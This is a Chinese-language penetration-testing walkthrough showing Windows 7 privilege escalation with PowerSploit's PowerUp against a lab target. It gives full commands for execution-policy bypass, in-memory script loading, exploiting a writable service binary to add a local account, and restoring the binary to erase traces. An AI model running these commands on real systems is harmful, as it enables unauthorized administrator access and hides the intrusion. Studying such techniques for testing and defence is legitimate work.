記錄下PowerUp在實戰滲透中的利用
准備環境:
kali linux 攻擊機 已獲得靶機meterpreter(非管理)權限
win7 靶機 擁有powershell環境
1)Invoke-Allchecks檢查
首先上傳powerup腳本至目標服務器
meterpreter > upload //var/www/html/PowerSploit/Privesc/PowerUp.ps1 c:\
首先設置下shell編碼
chcp 65001
使用IEX在內存中加載此腳本,執行Invoke-AllChecks檢查漏洞
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
也可以在cmd環境導入模塊繞過策略執行:
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
可以看出,Powerup 列出了可能存在問題的所有服務,並在 AbuseFunction 中直接給出了利用方式。
第一部分通過 Get-ServiceUnquoted 模塊(利用 windows 的一個邏輯漏洞,即當文件包含空格時,windows API 會解釋為兩個路徑,並將這兩個文件同時執行,有些時候可能會造成權限的提升)檢測出了有 "Vulnerable Service"、"OmniServ"、"OmniServer"、"OmniServers" 四個服務存在此邏輯漏洞,但是都沒有寫入權限,所以並不能被我們利用來提權。第二部分通過 Test-ServiceDaclPermission 模塊(檢查所有可用的服務,並嘗試對這些打開的服務進行修改,如果可修改,則存在此漏洞)檢測出當前用戶可以在 "OmniServers" 服務的目錄寫入相關聯的可執行文件,並且通過這些文件來進行提權。
漏洞利用原理:Windows 系統服務文件在操作系統啟動時會加載執行,並且在后台調用可執行文件。比如,JAVA 升級程序,每次重啟系統時,JAVA 升級程序會檢測 Oracle 網站,是否有新版 JAVA 程序。而類似 JAVA 程序之類的系統服務程序加載時往往都是運行在系統權限上的。所以如果一個低權限的用戶對於此類系統服務調用的可執行文件具有可寫的權限,那么就可以將其替換成我們的惡意可執行文件,從而隨着系統啟動服務而獲得系統權限。
2)檢測可寫入權限
這里我們可以使用 icacls(Windows 內建的一個工具,用來檢查對有漏洞目錄是否有寫入的權限)來驗證下 PowerUp 腳本檢測是否正確,我們先對於檢測出來的漏洞目錄進行權限的檢測
檢測此目錄是否有可寫入的權限
icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe"
"Everyone" 用戶對這個文件有完全控制權,就是說所有用戶都具有全部權限修改這個文件夾。
參數說明:"M" 表示修改,"F" 代表完全控制,"CI" 代表從屬容器將繼承訪問控制項,"OI" 代表從屬文件將繼承訪問控制項。這意味着對該目錄有讀,寫,刪除其下的文件,刪除該目錄下的子目錄的權限。
3)提升權限
在這里我們使用 AbuseFunction 那里已經給出的具體操作方式,執行如下命令操作,如下圖所示。
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'WMPNetworkSvc' -UserName qing -Password qing123!
之后當管理員運行該服務的時候,則會添加我們的賬號。
靶機關機重啟
重啟以后,系統會自動創建了一個新的用戶 qing,密碼是 qing123!
4)刪除痕跡
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'WMPNetworkSvc'
恢復
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
為
"C:\Program Files\Windows Media Player\wmpnetwk.exe"
l 移除備份二進制文件‘
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"